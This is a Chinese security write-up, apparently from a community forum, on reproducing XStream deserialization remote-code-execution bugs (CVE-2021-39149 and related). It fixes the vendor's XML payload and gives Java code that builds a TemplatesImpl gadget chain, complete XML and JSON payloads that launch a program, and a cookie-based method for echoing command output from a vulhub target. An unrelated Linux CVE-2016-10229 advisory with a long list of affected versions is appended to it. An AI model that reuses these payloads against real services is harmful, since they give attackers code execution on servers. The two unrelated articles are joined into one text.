值得一提的是那个限制了JDK版本为7u21及以下的洞也用到了`TemplatesImpl`，当然了，7u21本身确实也用到了`TemplatesImpl`，所以不值得什么大惊小怪。（不过我非要提这么一嘴，当然是要你注意这个地方，下文有呼应XD。）
## 跳坑
XStream官方是最令安全仔开心的官方，PoC都明晃晃地放在官网上，都不用费力气去diff补丁（或者偷别人的payload）。那么接下来就是基本操作了
import com.thoughtworks.xstream.XStream;
import java.io.FileInputStream;
public class xstreamDeser {
public static void main(String[] args) throws Exception {
XStream xstream = new XStream();
FileInputStream xml = new FileInputStream("src/main/java/xstream/xstream.xml");
xstream.fromXML(xml);
}
}
test.xml里面Ctrl+V上官方的payload，然后就发现出问题了。
怎么红了吧唧的报错，看到最后一个标签都串位了感觉应该是哪个标签写错了导致的。挨个排查发现在Line
17，proxy标签不应该自闭合，因为它对应的闭合标签在Line 29。所以去掉最后的斜杠变成如下这样，然后重新粘贴一下报错就都没了。
<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
接着我们就运行一下，基本上来说XStream官方提供的直接RCE的payload都是弹Windows上的计算器，也就是执行calc.exe命令。但是运行后，迎来了第二个报错。
这个地方属实有点奇怪，我实际在这里卡了将近一天的时间，在很多地方下了断点跟踪分析，基本上定位到了问题可能是出在proxy标签以内，也就是TemplatesImpl类的实例化位置，但仍然就是找不出来根本问题在哪里。在卡了很久以后，我转战了CVE-2021-39139，因为这也是同样用到了TemplatesImpl类，觉得可能在这或许可以找到突破口。然后同样基本操作了一遍，居然报了一样的错误。不过确实，在对比了两个payload在TemplatesImpl位置的代码，除了字节码的Base64编码不太一样，其他都一样。
但是这边有个很不一样的点，就是`_bytecode`标签里面塞入了两段byte-array标签，且这两个payload对应的第二段byte-array标签里面内容一模一样。我拿去base64解码了一下，有一些`ysoserial`的关键字，其他得不到任何有用的信息。于是我拿着第二段的base64编码值去Google了一下。发现在一个讲解泛微之前爆出的XStream漏洞的payload中出现了一模一样的base64编码值，也同样处在了`TemplatesImpl`这个类里面。但是我手头没有泛微的demo没法验证泛微那个payload是否有效。（其实后面复盘发现，这边是个蠢操作，我完全可以摘出泛微payload中XStream那部分拿到本地测试一下就行了）所以我接着看了一些关于如何生成泛微这个payload的相关文档，得知可以通过在引入ysoserial的包生成任意已有gadget的XStream形式的payload。生成代码是我抄的potats0发在p神的小密圈的code，如下：
package ysoserial.exploit;
import ysoserial.payloads.ObjectPayload;
import static ysoserial.payloads.ObjectPayload.Utils.makePayloadObject;
public class XStream {
public static void main(String[] args) {
if (args.length < 2) {
System.out.println("exit");
}
final Object payloadObject = makePayloadObject(args[0], args[1]);
com.thoughtworks.xstream.XStream xs = new com.thoughtworks.xstream.XStream();
String result = xs.toXML(payloadObject);
System.out.println(result);
ObjectPayload.Utils.releasePayload(args[0], payloadObject);
}
}
于是我找了一个利用了`TemplatesImpl`的gadget（例如CommonsBeanutils1）生成了一个XML然后粘贴到xtream.xml中执行一遍（当然一定是先引入了漏洞版本的`CommonsBeanutils1`），发现执行成功了。比对一下payload发现，`CVE-2021-39149`和`CVE-2021-39144`的payload都同时少了如下一行，位置应该是处于`TemplatesImpl`类中的default闭合标签下一行。
<boolean>false</boolean>
所以`CVE-2021-39149`的完整的正确的payload应该如下（`TemplatesImpl`类的`byte-array`第一部分已省略）：
<linked-hash-set>
<dynamic-proxy>
<interface>map</interface>
<handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
<classToInvocationHandler class='linked-hash-map'/>
<defaultHandler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Object</providerType>
<probes>
<entry>
<method>
<class>java.lang.Object</class>
<name>hashCode</name>
<parameter-types/>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>yv66vgAA......</byte-array>
<byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
<boolean>false</boolean>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</proxy>
<implementing__method>
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
<name>getOutputProperties</name>
<parameter-types/>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</defaultHandler>
</handler>
</dynamic-proxy>
</linked-hash-set>
另外`CVE-2021-39144`的payload其实就是`ysoserial`中`Jdk7u21`的payload直接生成的，这个用来刷洞真方便。
## 正儿八经的分析
XStream的分析，其实就是两个部分，一个是针对XStream如何把XML转换到Java Object的过程的分析，另一个就是Java
Object的构造分析。很多的文章写的时候就是`ProcessBuilder#start`断点一打，debug一跑，一行一行代码走下来，很没劲，简直就是事后诸葛亮的行为。在分析XStream的漏洞的时候如果对着payload执行debug一遍，那么如何发现新的类似的漏洞，那些XML该怎么构造出来？很明显，通过上文的分析，我认为正确的正向分析应该先用Java代码构造出一个序列化的object然后，用XStream#toXML把生成的Java序列化对象转化成XML最后形成真正的payload。
这里基本上和构造一个Java原生序列化对象一样，通过构造器的层层相套最后发给后端服务器，然后服务器再一层层反序列化读到最里层的危险代码。所以完整的序列化对象的构造链应该如下：
java.util.LinkedHashSet
java.lang.reflect.Proxy
com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl
sun.tracing.NullProvider
sun.tracing.dtrace.DTraceProbe
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
关键的触发其实也很简单，就是在`NullProvider`的构造器部分，它的`probes`属性是`HashMap`类型的，关键的危险代码放在value部分，那么自然就和大多数`ysoserial`中的gadget一样就用`hashcode()`这个函数进行触发了。
按部就班构造序列化数据的Java代码就很简单了，如下：
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.converters.reflection.SunUnsafeReflectionProvider;
import sun.misc.Unsafe;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.LinkedHashSet;
public class xstream39149 {
private static Unsafe instaniateUnsafe() throws Exception {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
return (Unsafe) unsafeField.get(null);
}
private static void setField(String fieldName, Object defineObj, Object value) throws Exception {
SunUnsafeReflectionProvider reflectionProvider = new SunUnsafeReflectionProvider();
Field field = reflectionProvider.getFieldOrNull(defineObj.getClass(), fieldName);
reflectionProvider.writeField(defineObj, fieldName, value, field.getDeclaringClass());
}
public static void main(String[] args) throws Exception {
Object templates = Gadgets.createTemplatesImpl("calc");
Object dTraceProbe = instaniateUnsafe().allocateInstance(Class.forName("sun.tracing.dtrace.DTraceProbe"));
Method method_getOutputProperties = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredMethod("getOutputProperties");
setField("proxy", dTraceProbe, templates);
setField("implementing_method", dTraceProbe, method_getOutputProperties);
HashMap map = new HashMap();
Method method_hashcode = Class.forName("java.lang.Object").getDeclaredMethod("hashCode");
map.put(method_hashcode, dTraceProbe);
Object nullProvider = instaniateUnsafe().allocateInstance(Class.forName("sun.tracing.NullProvider"));
setField("active", nullProvider, true);
setField("providerType", nullProvider, Class.forName("java.lang.Object"));
setField("probes", nullProvider, map);
InvocationHandler handler = (InvocationHandler) instaniateUnsafe().allocateInstance(Class.forName("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl"));
Object proxy = Proxy.newProxyInstance(
handler.getClass().getClassLoader(),
new HashMap().getClass().getInterfaces(),
handler);
Reflections.setFieldValue(handler, "classToInvocationHandler", new LinkedHashMap());
Reflections.setFieldValue(handler, "defaultHandler", nullProvider);
LinkedHashSet set = new LinkedHashSet();
set.add(proxy);
}
}
那么如何生成最终的XML
payload，因为在执行到`set.add(proxy)`这行代码时，程序会抛出异常然后不再往下执行，所以如果将`toXml()`函数放在这行代码下面是压根不会执行的。我用的方法比较弱智，就是利用`toXml()`分别输出`proxy`对象和`set`对象的XML形式数据，然后手动拼接一下。
// set.add(proxy);
set.add(new Object()); // 这行代码是为了观察在linked-hash-set标签中数据是怎样储存的，然后替换成真实的payload中的proxy对应的XML数据
XStream xstream = new XStream();
System.out.println(xStream.toXML(set));
System.out.println(xStream.toXML(proxy));
正向数据的构造分析完成了，现在就可以大概看一下stack
trace到底是什么样子的，这样方便以后再分析时好理解整个触发过程。从整个的堆栈信息可以看得出来，`hashcode()`确实是关键触发`TemplateImpl`对象的关键函数。
start:1007, ProcessBuilder (java.lang)
exec:620, Runtime (java.lang)
exec:450, Runtime (java.lang)
exec:347, Runtime (java.lang)
<clinit>:-1, Pwner633505606593 (ysoserial)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
uncheckedTrigger:58, DTraceProbe (sun.tracing.dtrace)
triggerProbe:269, ProviderSkeleton (sun.tracing)
invoke:178, ProviderSkeleton (sun.tracing)
invoke:82, CompositeInvocationHandlerImpl (com.sun.corba.se.spi.orbutil.proxy)
hashCode:-1, $Proxy0 (com.sun.proxy)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
add:219, HashSet (java.util)
addCurrentElementToCollection:99, CollectionConverter (com.thoughtworks.xstream.converters.collections)
populateCollection:91, CollectionConverter (com.thoughtworks.xstream.converters.collections)
populateCollection:85, CollectionConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:80, CollectionConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1409, XStream (com.thoughtworks.xstream)
unmarshal:1388, XStream (com.thoughtworks.xstream)
fromXML:1282, XStream (com.thoughtworks.xstream)
main:15, xstreamTest (Deser)
## JSON反序列化
心细的朋友可以发现几乎所有的XStream的官方通告中都少不了如下的一句话。
Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.
看了一下XStream的介绍文档，我也没看到除了JSON以外别的supported
format，这里我可能错了，有误请帮忙指出。接下来找一下JSON的序列化和反序列化的代码怎么写，根据伟大的CSDN程序员的总结，我们可以得知：
XStream针对JSON格式的数据的处理有两个driver可以提供支持，分别是`JsonHierarchicalStreamDriver`和`JettisonMappedXmlDriver`。
| Serialization (Java Object -> JSON) | Deserialization (JSON -> Java Object)
---|---|---
JsonHierarchicalStreamDriver | √ | ×
JettisonMappedXmlDriver | √ | √
所以这里只需要看一下`JettisonMappedXmlDriver`对应的代码怎么写就行。但这里有个小坑，刚开始我用官方的代码和网上的教程都出现`ClassNotFoundException`的报错，这里是因为需要加一下`jettison`的依赖。
<dependency>
<groupId>org.codehaus.jettison</groupId>
<artifactId>jettison</artifactId>
<version>1.1</version>
</dependency>
然后就是粗暴地抄一下官方的教程代码。
XStream xstream = new XStream(new JettisonMappedXmlDriver());
System.out.println(xstream.toXML(proxy));
System.out.println(xstream.toXML(set)); // 这里和之前输出XML格式的payload一样，我也是通过手动拼接。
System.out.println(xstream.fromXML(json));
JSON格式的payload就出来了，执行一下，计算器弹得非常顺畅（`TemplatesImpl`类的`byte-array`第一部分已省略）。
{"linked-hash-set":{"dynamic-proxy":{"interface":["map","java.lang.Cloneable","java.io.Serializable"],"handler":{"@class":"com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl","classToInvocationHandler":{"@class":"linked-hash-map"},"defaultHandler":{"@class":"sun.tracing.NullProvider","active":true,"providerType":"java.lang.Object","probes":{"entry":{"method":{"class":"java.lang.Object","name":"hashCode","parameter-types":""},"sun.tracing.dtrace.DTraceProbe":{"proxy":{"@class":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","@serialization":"custom","com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl":{"default":{"_name":"Pwnr","_bytecodes":{"byte-array":["yv66vgAA......","yv66vgAAADQAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAQQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ"]},"_transletIndex":-1,"_indentNumber":0},"boolean":false}},"implementing_method":{"class":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","name":"getOutputProperties","parameter-types":""}}}}}}}}}
## 回显构造
靶机就借p师傅的vulhub中的XStream靶机，把xstream-sample.jar拖出来改一改，加上支持JSON的接口，修改部分的代码如下。
@RestController
public class HelloController {
public HelloController() {
}
@GetMapping({"/"})
public String hello() {
return "hello, input your information please.";
}
@PostMapping({"/xml"})
public String readxml(@RequestBody String data) {
XStream xs = new XStream();
xs.processAnnotations(User.class);
User user = (User)xs.fromXML(data);
return "My name is " + user.getName() + ", I am " + user.getAge().toString() + " years old.";
}
@PostMapping({"/json"})
public String readjson(@RequestBody String data) {
XStream xs = new XStream(new JettisonMappedXmlDriver());
xs.processAnnotations(User.class);
User user = (User)xs.fromXML(data);
return "My name is " + user.getName() + ", I am " + user.getAge().toString() + " years old.";
}
}
回显代码改了改fnmsd师傅的回显Java类（膜），然后构造成`TemplatesImpl`对象。主要修改的部分有两个地方，一个是删掉了如下代码，因为这部分代码获取的response对象并不是通过我们发出去request对象来获取的（`request.getResponse()`），所以如果代码走到这个condition当中，会出现把回显的数据写到别的response对象中。
else if(p == null && hsp.isAssignableFrom(o.getClass())){
p = o;
}
第二，为了精确匹配对应的request对象，将输入命令部分从自定义HTTP头字段移入了Cookie字段，这个做法的目的是为了防止在传入数据包的时候经过一些代理设备，这些设备可能会移除一些在它看来无用的HTTP头字段，只留下必要的头字段，已知的一定不会被移除的字段包含了Cookie字段和Host字段，所以写入Cookie应该是最方便的，也是最好读取的。
同时在写入response对象的时候，我修改代码使其可以同时写入body以及Set-Cookie字段，这里不是写入自定义字段的理由和上面说的目的一样。同时写入两个地方也是为了避免一些可能出现的错误和问题。
这里只是简单测试一下回显是否可以成功，我就移除了`java.lang.Runtime`执行代码部分，直接写入unique string证明代码执行无误即可。
## Reference
<https://x-stream.github.io/security.html>
<https://blog.csdn.net/fnmsd/article/details/106709736>
<https://gist.github.com/fnmsd/2fd47012849f25eb53d703f283679462>
<https://vulhub.org/#/environments/xstream/CVE-2021-21351/> | 社区文章 |
# 【漏洞预警】CVE-2016-10229：Linux 内核远程代码执行漏洞
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
漏洞描述：
**漏洞编号：** CVE-2016-10229
**漏洞危害：** 严重，攻击者利用该漏洞可实现linux内核远程代码执行，可能导致系统被完全控制或拒绝服务。
**影响范围：** 详细影响范围见下文。
**补丁地址：**<http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=197c949e7798fbf28cfadc69d9ca0c2abbf93191>
**漏洞简述：** Linux
4.5之前的内核内核允许远程攻击者通过UDP，在带有MSG_PEEK标志位的recv系统调用中触发不安全的二次校验和计算（second checksum
calculation），可造成任意代码执行
图1，漏洞修复
修复建议：
建议用户通过系统更新到最新发行版修复此漏洞
**影响范围：**
Linux kernel 4.10.6
Linux kernel 4.10.4
Linux kernel 4.4.30
Linux kernel 4.4.29
Linux kernel 4.4.28
Linux kernel 4.4.27
Linux kernel 4.4.25
Linux kernel 4.4.24
\+ S.u.S.E. Linux 7.2
Linux kernel 4.4.23
Linux kernel 4.4.22
Linux kernel 4.4.7
Linux kernel 4.4.2
Linux kernel 4.2.3
Linux kernel 4.1.4
Linux kernel 4.1.1
Linux kernel 4.0.6
Linux kernel 3.19.3
Linux kernel 3.18.22
Linux kernel 3.18.17
Linux kernel 3.18.11
Linux kernel 3.18.8
Linux kernel 3.18.7
Linux kernel 3.18.3
Linux kernel 3.18.2
Linux kernel 3.18.1
Linux kernel 3.17.4
Linux kernel 3.17.2
Linux kernel 3.16.7
Linux kernel 3.16.2
Linux kernel 3.16.1
Linux kernel 3.15.10
Linux kernel 3.15.5
Linux kernel 3.15.2
Linux kernel 3.14.54
Linux kernel 3.14.45
Linux kernel 3.14.37
Linux kernel 3.14.4
Linux kernel 3.14.3
Linux kernel 3.14.2
Linux kernel 3.13.11
Linux kernel 3.13.9
Linux kernel 3.13.3
Linux kernel 3.13.1
Linux kernel 3.12.49
Linux kernel 3.12.48
Linux kernel 3.12.44
Linux kernel 3.12.40
Linux kernel 3.12.21
Linux kernel 3.12.18
Linux kernel 3.12.17
Linux kernel 3.12.16
Linux kernel 3.12.11
Linux kernel 3.12.7
Linux kernel 3.12.4
Linux kernel 3.12.3
Linux kernel 3.12.2
Linux kernel 3.11.3
Linux kernel 3.10.90
Linux kernel 3.10.81
Linux kernel 3.10.73
Linux kernel 3.10.45
Linux kernel 3.10.41
Linux kernel 3.10.38
Linux kernel 3.10.37
Linux kernel 3.10.36
Linux kernel 3.10.30
Linux kernel 3.10.27
Linux kernel 3.10.26
Linux kernel 3.10.23
Linux kernel 3.10.22
Linux kernel 3.10.21
Linux kernel 3.10.14
Linux kernel 3.10.10
Linux kernel 3.10.9
Linux kernel 3.10.7
Linux kernel 3.10
Linux kernel 3.8.9
Linux kernel 3.8.6
Linux kernel 3.8.5
Linux kernel 3.8.4
Linux kernel 3.8.2
Linux kernel 3.8.1
Linux kernel 3.7.10
Linux kernel 3.7.9
Linux kernel 3.7.8
Linux kernel 3.7.7
Linux kernel 3.7.5
Linux kernel 3.7.4
Linux kernel 3.7.3
Linux kernel 3.7.2
Linux kernel 3.7.1
Linux kernel 3.6.11
Linux kernel 3.6.10
Linux kernel 3.6.9
Linux kernel 3.6.8
Linux kernel 3.6.7
Linux kernel 3.6.6
Linux kernel 3.6.5
Linux kernel 3.6.4
Linux kernel 3.6.3
Linux kernel 3.6.2
Linux kernel 3.6.1
Linux kernel 3.5.7
Linux kernel 3.5.6
Linux kernel 3.5.5
Linux kernel 3.5.4
Linux kernel 3.5.3
Linux kernel 3.5.2
Linux kernel 3.5.1
Linux kernel 3.4.88
Linux kernel 3.4.87
Linux kernel 3.4.86
Linux kernel 3.4.80
Linux kernel 3.4.76
Linux kernel 3.4.73
Linux kernel 3.4.72
Linux kernel 3.4.71
Linux kernel 3.4.64
Linux kernel 3.4.58
Linux kernel 3.4.42
Linux kernel 3.4.36
Linux kernel 3.4.32
Linux kernel 3.4.31
Linux kernel 3.4.27
Linux kernel 3.4.26
Linux kernel 3.4.25
Linux kernel 3.4.21
Linux kernel 3.4.20
Linux kernel 3.4.19
Linux kernel 3.4.18
Linux kernel 3.4.17
Linux kernel 3.4.16
Linux kernel 3.4.15
Linux kernel 3.4.14
Linux kernel 3.4.13
Linux kernel 3.4.12
Linux kernel 3.4.11
Linux kernel 3.4.10
Linux kernel 3.4.9
Linux kernel 3.4.8
Linux kernel 3.4.7
Linux kernel 3.4.6
Linux kernel 3.4.5
Linux kernel 3.4.4
Linux kernel 3.4.3
Linux kernel 3.4.2
Linux kernel 3.4.1
Linux kernel 3.3.5
Linux kernel 3.3.4
Linux kernel 3.3.2
Linux kernel 3.2.82
Linux kernel 3.2.72
Linux kernel 3.2.62
Linux kernel 3.2.57
Linux kernel 3.2.56
Linux kernel 3.2.51
Linux kernel 3.2.24
Linux kernel 3.2.23
Linux kernel 3.2.13
Linux kernel 3.2.12
Linux kernel 3.2.9
Linux kernel 3.2.1
Linux kernel 3.1.8
Linux kernel 3.0.98
Linux kernel 3.0.75
Linux kernel 3.0.72
Linux kernel 3.0.69
Linux kernel 3.0.65
Linux kernel 3.0.60
Linux kernel 3.0.59
Linux kernel 3.0.58
Linux kernel 3.0.37
Linux kernel 3.0.34
Linux kernel 3.0.5
Linux kernel 3.0.4
Linux kernel 3.0.2
Linux kernel 3.0.1
Linux kernel 2.6.39
Linux kernel 2.6.38
Linux kernel 2.6.37
Linux kernel 2.6.36
Linux kernel 2.6.35
Linux kernel 2.6.34
Linux kernel 2.6.32 .9
Linux kernel 2.6.32
Linux kernel 2.6.31 5
Linux kernel 2.6.31 13
Linux kernel 2.6.31 .2
Linux kernel 2.6.31 .11
Linux kernel 2.6.31
Linux kernel 2.6.29 .1
Linux kernel 2.6.29
Linux kernel 2.6.28 .9
Linux kernel 2.6.28 .8
Linux kernel 2.6.28 .6
Linux kernel 2.6.28 .5
Linux kernel 2.6.28 .3
Linux kernel 2.6.28 .2
Linux kernel 2.6.28 .1
Linux kernel 2.6.28
Linux kernel 2.6.27 6
Linux kernel 2.6.27 3
Linux kernel 2.6.27 12
Linux kernel 2.6.27 .8
Linux kernel 2.6.27 .5
Linux kernel 2.6.27 .46
Linux kernel 2.6.27 .24
Linux kernel 2.6.27 .14
Linux kernel 2.6.27 .13
Linux kernel 2.6.27 .12
Linux kernel 2.6.27
Linux kernel 2.6.26 7
Linux kernel 2.6.26 .6
Linux kernel 2.6.26 .4
Linux kernel 2.6.26 .3
Linux kernel 2.6.26
Linux kernel 2.6.25 19
Linux kernel 2.6.25 .9
Linux kernel 2.6.25 .8
Linux kernel 2.6.25 .7
Linux kernel 2.6.25 .6
Linux kernel 2.6.25 .5
Linux kernel 2.6.25 .15
Linux kernel 2.6.25 .13
Linux kernel 2.6.25 .12
Linux kernel 2.6.25 .11
Linux kernel 2.6.25 .10
Linux kernel 2.6.25
Linux kernel 2.6.24 .2
Linux kernel 2.6.24 .1
Linux kernel 2.6.24
Linux kernel 2.6.23 .7
Linux kernel 2.6.23 .6
Linux kernel 2.6.23 .5
Linux kernel 2.6.23 .4
Linux kernel 2.6.23 .3
Linux kernel 2.6.23 .2
Linux kernel 2.6.23
Linux kernel 2.6.22 .8
Linux kernel 2.6.22 .7
Linux kernel 2.6.22 .6
Linux kernel 2.6.22 .5
Linux kernel 2.6.22 .4
Linux kernel 2.6.22 .3
Linux kernel 2.6.22 .2
Linux kernel 2.6.22 .17
Linux kernel 2.6.22 .16
Linux kernel 2.6.22 .15
Linux kernel 2.6.22 .14
Linux kernel 2.6.22 .13
Linux kernel 2.6.22 .12
Linux kernel 2.6.22 .11
Linux kernel 2.6.22 .1
Linux kernel 2.6.22
Linux kernel 2.6.21 4
Linux kernel 2.6.21 .7
Linux kernel 2.6.21 .6
Linux kernel 2.6.21 .3
Linux kernel 2.6.21 .2
Linux kernel 2.6.21 .1
Linux kernel 2.6.21
Linux kernel 2.6.20 .9
Linux kernel 2.6.20 .8
Linux kernel 2.6.20 .7
Linux kernel 2.6.20 .6
Linux kernel 2.6.20 .5
Linux kernel 2.6.20 .4
Linux kernel 2.6.20 .15
Linux kernel 2.6.20 .14
Linux kernel 2.6.20 .12
Linux kernel 2.6.20 .10
Linux kernel 2.6.20 .1
Linux kernel 2.6.20
Linux kernel 2.6.19 .4
Linux kernel 2.6.19 .3
Linux kernel 2.6.19 .2
Linux kernel 2.6.19 .1
Linux kernel 2.6.19
Linux kernel 2.6.18 .8
Linux kernel 2.6.18 .7
Linux kernel 2.6.18 .6
Linux kernel 2.6.18 .5
Linux kernel 2.6.18 .4
Linux kernel 2.6.18 .3
Linux kernel 2.6.18 .2
Linux kernel 2.6.18 .1
Linux kernel 2.6.17 .9
Linux kernel 2.6.17 .8
Linux kernel 2.6.17 .7
Linux kernel 2.6.17 .6
Linux kernel 2.6.17 .5
Linux kernel 2.6.17 .4
Linux kernel 2.6.17 .3
Linux kernel 2.6.17 .2
Linux kernel 2.6.17 .14
Linux kernel 2.6.17 .13
Linux kernel 2.6.17 .12
Linux kernel 2.6.17 .11
Linux kernel 2.6.17 .10
Linux kernel 2.6.17 .1
Linux kernel 2.6.17
Linux kernel 2.6.16 27
Linux kernel 2.6.16 13
Linux kernel 2.6.16 .9
Linux kernel 2.6.16 .8
Linux kernel 2.6.16 .7
Linux kernel 2.6.16 .6
Linux kernel 2.6.16 .53
Linux kernel 2.6.16 .52
Linux kernel 2.6.16 .51
Linux kernel 2.6.16 .50
Linux kernel 2.6.16 .5
Linux kernel 2.6.16 .49
Linux kernel 2.6.16 .48
Linux kernel 2.6.16 .47
Linux kernel 2.6.16 .46
Linux kernel 2.6.16 .45
Linux kernel 2.6.16 .44
Linux kernel 2.6.16 .43
Linux kernel 2.6.16 .41
Linux kernel 2.6.16 .40
Linux kernel 2.6.16 .4
Linux kernel 2.6.16 .39
Linux kernel 2.6.16 .38
Linux kernel 2.6.16 .37
Linux kernel 2.6.16 .36
Linux kernel 2.6.16 .35
Linux kernel 2.6.16 .34
Linux kernel 2.6.16 .33
Linux kernel 2.6.16 .32
Linux kernel 2.6.16 .31
Linux kernel 2.6.16 .30
Linux kernel 2.6.16 .3
Linux kernel 2.6.16 .29
Linux kernel 2.6.16 .28
Linux kernel 2.6.16 .27
Linux kernel 2.6.16 .26
Linux kernel 2.6.16 .25
Linux kernel 2.6.16 .24
Linux kernel 2.6.16 .23
Linux kernel 2.6.16 .22
Linux kernel 2.6.16 .21
Linux kernel 2.6.16 .20
Linux kernel 2.6.16 .2
Linux kernel 2.6.16 .19
Linux kernel 2.6.16 .18
Linux kernel 2.6.16 .17
Linux kernel 2.6.16 .16
Linux kernel 2.6.16 .15
Linux kernel 2.6.16 .14
Linux kernel 2.6.16 .12
Linux kernel 2.6.16 .11
Linux kernel 2.6.16 .10
Linux kernel 2.6.16 .1
Linux kernel 2.6.16
Linux kernel 2.6.15 .7
Linux kernel 2.6.15 .6
Linux kernel 2.6.15 .4
Linux kernel 2.6.15 .3
Linux kernel 2.6.15 .2
Linux kernel 2.6.15 .1
Linux kernel 2.6.15
Linux kernel 2.6.14 .7
Linux kernel 2.6.14 .6
Linux kernel 2.6.14 .5
Linux kernel 2.6.14 .4
Linux kernel 2.6.14 .3
Linux kernel 2.6.14 .2
Linux kernel 2.6.14 .1
Linux kernel 2.6.14
Linux kernel 2.6.13 .5
Linux kernel 2.6.13 .4
Linux kernel 2.6.13 .3
Linux kernel 2.6.13 .2
Linux kernel 2.6.13 .1
Linux kernel 2.6.13
Linux kernel 2.6.12 .6
Linux kernel 2.6.12 .5
Linux kernel 2.6.12 .4
Linux kernel 2.6.12 .3
Linux kernel 2.6.12 .22
Linux kernel 2.6.12 .2
Linux kernel 2.6.12 .12
Linux kernel 2.6.12 .1
Linux kernel 2.6.12
Linux kernel 2.6.11 .9
Linux kernel 2.6.11 .8
Linux kernel 2.6.11 .7
Linux kernel 2.6.11 .6
Linux kernel 2.6.11 .5
Linux kernel 2.6.11 .4
Linux kernel 2.6.11 .3
Linux kernel 2.6.11 .2
Linux kernel 2.6.11 .12
Linux kernel 2.6.11 .11
Linux kernel 2.6.11 .10
Linux kernel 2.6.11 .1
Linux kernel 2.6.11
